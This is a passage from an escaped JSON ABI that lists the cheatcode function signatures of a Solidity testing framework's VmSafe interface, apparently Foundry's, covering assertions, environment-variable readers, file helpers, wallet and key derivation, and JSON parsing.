tability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"assertNotEqDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertNotEqDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bool\",\"name\":\"condition\",\"type\":\"bool\"}],\"name\":\"assertTrue\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bool\",\"name\":\"condition\",\"type\":\"bool\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertTrue\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bool\",\"name\":\"condition\",\"type\":\"bool\"}],\"name\":\"assume\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"char\",\"type\":\"string\"}],\"name\":\"breakpoint\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"char\",\"type\":\"string\"},{\"internalType\":\"bool\",\"name\":\"value\",\"type\":\"bool\"}],\"name\":\"breakpoint\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"broadcast\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"signer\",\"type\":\"address\"}],\"name\":\"broadcast\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"privateKey\",\"type\":\"uint256\"}],\"name\":\"broadcast\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"}],\"name\":\"closeFile\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"salt\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32\",\"name\":\"initCodeHash\",\"type\":\"bytes32\"}],\"name\":\"computeCreate2Address\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"salt\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32\",\"name\":\"initCodeHash\",\"type\":\"bytes32\"},{\"internalType\":\"address\",\"name\":\"deployer\",\"type\":\"address\"}],\"name\":\"computeCreate2Address\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"deployer\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"nonce\",\"type\":\"uint256\"}],\"name\":\"computeCreateAddress\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"from\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"to\",\"type\":\"string\"}],\"name\":\"copyFile\",\"outputs\":[{\"internalType\":\"uint64\",\"name\":\"copied\",\"type\":\"uint64\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"},{\"internalType\":\"bool\",\"name\":\"recursive\",\"type\":\"bool\"}],\"name\":\"createDir\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"walletLabel\",\"type\":\"string\"}],\"name\":\"createWallet\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"publicKeyX\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"publicKeyY\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"privateKey\",\"type\":\"uint256\"}],\"internalType\":\"struct VmSafe.Wallet\",\"name\":\"wallet\",\"type\":\"tuple\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"privateKey\",\"type\":\"uint256\"}],\"name\":\"createWallet\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"publicKeyX\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"publicKeyY\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"privateKey\",\"type\":\"uint256\"}],\"internalType\":\"struct VmSafe.Wallet\",\"name\":\"wallet\",\"type\":\"tuple\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"privateKey\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"walletLabel\",\"type\":\"string\"}],\"name\":\"createWallet\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"publicKeyX\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"publicKeyY\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"privateKey\",\"type\":\"uint256\"}],\"internalType\":\"struct VmSafe.Wallet\",\"name\":\"wallet\",\"type\":\"tuple\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"mnemonic\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"derivationPath\",\"type\":\"string\"},{\"internalType\":\"uint32\",\"name\":\"index\",\"type\":\"uint32\"},{\"internalType\":\"string\",\"name\":\"language\",\"type\":\"string\"}],\"name\":\"deriveKey\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"privateKey\",\"type\":\"uint256\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"mnemonic\",\"type\":\"string\"},{\"internalType\":\"uint32\",\"name\":\"index\",\"type\":\"uint32\"},{\"internalType\":\"string\",\"name\":\"language\",\"type\":\"string\"}],\"name\":\"deriveKey\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"privateKey\",\"type\":\"uint256\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"mnemonic\",\"type\":\"string\"},{\"internalType\":\"uint32\",\"name\":\"index\",\"type\":\"uint32\"}],\"name\":\"deriveKey\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"privateKey\",\"type\":\"uint256\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"mnemonic\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"derivationPath\",\"type\":\"string\"},{\"internalType\":\"uint32\",\"name\":\"index\",\"type\":\"uint32\"}],\"name\":\"deriveKey\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"privateKey\",\"type\":\"uint256\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"}],\"name\":\"envAddress\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"value\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"delim\",\"type\":\"string\"}],\"name\":\"envAddress\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"value\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"}],\"name\":\"envBool\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"value\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"delim\",\"type\":\"string\"}],\"name\":\"envBool\",\"outputs\":[{\"internalType\":\"bool[]\",\"name\":\"value\",\"type\":\"bool[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"}],\"name\":\"envBytes\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"value\",\"type\":\"bytes\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"delim\",\"type\":\"string\"}],\"name\":\"envBytes\",\"outputs\":[{\"internalType\":\"bytes[]\",\"name\":\"value\",\"type\":\"bytes[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"delim\",\"type\":\"string\"}],\"name\":\"envBytes32\",\"outputs\":[{\"internalType\":\"bytes32[]\",\"name\":\"value\",\"type\":\"bytes32[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"}],\"name\":\"envBytes32\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"value\",\"type\":\"bytes32\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"delim\",\"type\":\"string\"}],\"name\":\"envInt\",\"outputs\":[{\"internalType\":\"int256[]\",\"name\":\"value\",\"type\":\"int256[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"}],\"name\":\"envInt\",\"outputs\":[{\"internalType\":\"int256\",\"name\":\"value\",\"type\":\"int256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"delim\",\"type\":\"string\"},{\"internalType\":\"bytes32[]\",\"name\":\"defaultValue\",\"type\":\"bytes32[]\"}],\"name\":\"envOr\",\"outputs\":[{\"internalType\":\"bytes32[]\",\"name\":\"value\",\"type\":\"bytes32[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"delim\",\"type\":\"string\"},{\"internalType\":\"int256[]\",\"name\":\"defaultValue\",\"type\":\"int256[]\"}],\"name\":\"envOr\",\"outputs\":[{\"internalType\":\"int256[]\",\"name\":\"value\",\"type\":\"int256[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"bool\",\"name\":\"defaultValue\",\"type\":\"bool\"}],\"name\":\"envOr\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"value\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"address\",\"name\":\"defaultValue\",\"type\":\"address\"}],\"name\":\"envOr\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"value\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"uint256\",\"name\":\"defaultValue\",\"type\":\"uint256\"}],\"name\":\"envOr\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"delim\",\"type\":\"string\"},{\"internalType\":\"bytes[]\",\"name\":\"defaultValue\",\"type\":\"bytes[]\"}],\"name\":\"envOr\",\"outputs\":[{\"internalType\":\"bytes[]\",\"name\":\"value\",\"type\":\"bytes[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"delim\",\"type\":\"string\"},{\"internalType\":\"uint256[]\",\"name\":\"defaultValue\",\"type\":\"uint256[]\"}],\"name\":\"envOr\",\"outputs\":[{\"internalType\":\"uint256[]\",\"name\":\"value\",\"type\":\"uint256[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"delim\",\"type\":\"string\"},{\"internalType\":\"string[]\",\"name\":\"defaultValue\",\"type\":\"string[]\"}],\"name\":\"envOr\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"value\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"bytes\",\"name\":\"defaultValue\",\"type\":\"bytes\"}],\"name\":\"envOr\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"value\",\"type\":\"bytes\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"bytes32\",\"name\":\"defaultValue\",\"type\":\"bytes32\"}],\"name\":\"envOr\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"value\",\"type\":\"bytes32\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"int256\",\"name\":\"defaultValue\",\"type\":\"int256\"}],\"name\":\"envOr\",\"outputs\":[{\"internalType\":\"int256\",\"name\":\"value\",\"type\":\"int256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"delim\",\"type\":\"string\"},{\"internalType\":\"address[]\",\"name\":\"defaultValue\",\"type\":\"address[]\"}],\"name\":\"envOr\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"value\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"defaultValue\",\"type\":\"string\"}],\"name\":\"envOr\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"value\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"delim\",\"type\":\"string\"},{\"internalType\":\"bool[]\",\"name\":\"defaultValue\",\"type\":\"bool[]\"}],\"name\":\"envOr\",\"outputs\":[{\"internalType\":\"bool[]\",\"name\":\"value\",\"type\":\"bool[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"delim\",\"type\":\"string\"}],\"name\":\"envString\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"value\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"}],\"name\":\"envString\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"value\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"}],\"name\":\"envUint\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"delim\",\"type\":\"string\"}],\"name\":\"envUint\",\"outputs\":[{\"internalType\":\"uint256[]\",\"name\":\"value\",\"type\":\"uint256[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"fromBlock\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"toBlock\",\"type\":\"uint256\"},{\"internalType\":\"address\",\"name\":\"target\",\"type\":\"address\"},{\"internalType\":\"bytes32[]\",\"name\":\"topics\",\"type\":\"bytes32[]\"}],\"name\":\"eth_getLogs\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"emitter\",\"type\":\"address\"},{\"internalType\":\"bytes32[]\",\"name\":\"topics\",\"type\":\"bytes32[]\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"},{\"internalType\":\"bytes32\",\"name\":\"blockHash\",\"type\":\"bytes32\"},{\"internalType\":\"uint64\",\"name\":\"blockNumber\",\"type\":\"uint64\"},{\"internalType\":\"bytes32\",\"name\":\"transactionHash\",\"type\":\"bytes32\"},{\"internalType\":\"uint64\",\"name\":\"transactionIndex\",\"type\":\"uint64\"},{\"internalType\":\"uint256\",\"name\":\"logIndex\",\"type\":\"uint256\"},{\"internalType\":\"bool\",\"name\":\"removed\",\"type\":\"bool\"}],\"internalType\":\"struct VmSafe.EthGetLogs[]\",\"name\":\"logs\",\"type\":\"tuple[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"}],\"name\":\"exists\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"result\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string[]\",\"name\":\"commandInput\",\"type\":\"string[]\"}],\"name\":\"ffi\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"result\",\"type\":\"bytes\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"}],\"name\":\"fsMetadata\",\"outputs\":[{\"components\":[{\"internalType\":\"bool\",\"name\":\"isDir\",\"type\":\"bool\"},{\"internalType\":\"bool\",\"name\":\"isSymlink\",\"type\":\"bool\"},{\"internalType\":\"uint256\",\"name\":\"length\",\"type\":\"uint256\"},{\"internalType\":\"bool\",\"name\":\"readOnly\",\"type\":\"bool\"},{\"internalType\":\"uint256\",\"name\":\"modified\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"accessed\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"created\",\"type\":\"uint256\"}],\"internalType\":\"struct VmSafe.FsMetadata\",\"name\":\"metadata\",\"type\":\"tuple\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getBlockNumber\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"height\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getBlockTimestamp\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"timestamp\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"artifactPath\",\"type\":\"string\"}],\"name\":\"getCode\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"creationBytecode\",\"type\":\"bytes\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"artifactPath\",\"type\":\"string\"}],\"name\":\"getDeployedCode\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"runtimeBytecode\",\"type\":\"bytes\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"getLabel\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"currentLabel\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"target\",\"type\":\"address\"},{\"internalType\":\"bytes32\",\"name\":\"elementSlot\",\"type\":\"bytes32\"}],\"name\":\"getMappingKeyAndParentOf\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"found\",\"type\":\"bool\"},{\"internalType\":\"bytes32\",\"name\":\"key\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32\",\"name\":\"parent\",\"type\":\"bytes32\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"target\",\"type\":\"address\"},{\"internalType\":\"bytes32\",\"name\":\"mappingSlot\",\"type\":\"bytes32\"}],\"name\":\"getMappingLength\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"length\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"target\",\"type\":\"address\"},{\"internalType\":\"bytes32\",\"name\":\"mappingSlot\",\"type\":\"bytes32\"},{\"internalType\":\"uint256\",\"name\":\"idx\",\"type\":\"uint256\"}],\"name\":\"getMappingSlotAt\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"value\",\"type\":\"bytes32\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"getNonce\",\"outputs\":[{\"internalType\":\"uint64\",\"name\":\"nonce\",\"type\":\"uint64\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"publicKeyX\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"publicKeyY\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"privateKey\",\"type\":\"uint256\"}],\"internalType\":\"struct VmSafe.Wallet\",\"name\":\"wallet\",\"type\":\"tuple\"}],\"name\":\"getNonce\",\"outputs\":[{\"internalType\":\"uint64\",\"name\":\"nonce\",\"type\":\"uint64\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getRecordedLogs\",\"outputs\":[{\"components\":[{\"internalType\":\"bytes32[]\",\"name\":\"topics\",\"type\":\"bytes32[]\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"},{\"internalType\":\"address\",\"name\":\"emitter\",\"type\":\"address\"}],\"internalType\":\"struct VmSafe.Log[]\",\"name\":\"logs\",\"type\":\"tuple[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"}],\"name\":\"isDir\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"result\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"path\",\"type\":\"string\"}],\"name\":\"isFile\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"result\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"keyExists\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"keyExistsJson\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"toml\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"keyExistsToml\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"},{\"internalType\":\"string\",\"name\":\"newLabel\",\"type\":\"string\"}],\"name\":\"label\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"target\",\"type\":\"address\"},{\"internalType\":\"bytes32\",\"name\":\"slot\",\"type\":\"bytes32\"}],\"name\":\"load\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"data\",\"type\":\"bytes32\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"stringifiedValue\",\"type\":\"string\"}],\"name\":\"parseAddress\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"parsedValue\",\"type\":\"address\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"stringifiedValue\",\"type\":\"string\"}],\"name\":\"parseBool\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"parsedValue\",\"type\":\"bool\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"stringifiedValue\",\"type\":\"string\"}],\"name\":\"parseBytes\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"parsedValue\",\"type\":\"bytes\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"stringifiedValue\",\"type\":\"string\"}],\"name\":\"parseBytes32\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"parsedValue\",\"type\":\"bytes32\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"stringifiedValue\",\"type\":\"string\"}],\"name\":\"parseInt\",\"outputs\":[{\"internalType\":\"int256\",\"name\":\"parsedValue\",\"type\":\"int256\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"}],\"name\":\"parseJson\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"abiEncodedData\",\"type\":\"bytes\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseJson\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"abiEncodedData\",\"type\":\"bytes\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseJsonAddress\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseJsonAddressArray\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseJsonBool\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseJsonBoolArray\",\"outputs\":[{\"internalType\":\"bool[]\",\"name\":\"\",\"type\":\"bool[]\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\"name\":\"parseJsonBytes\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"json\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"}],\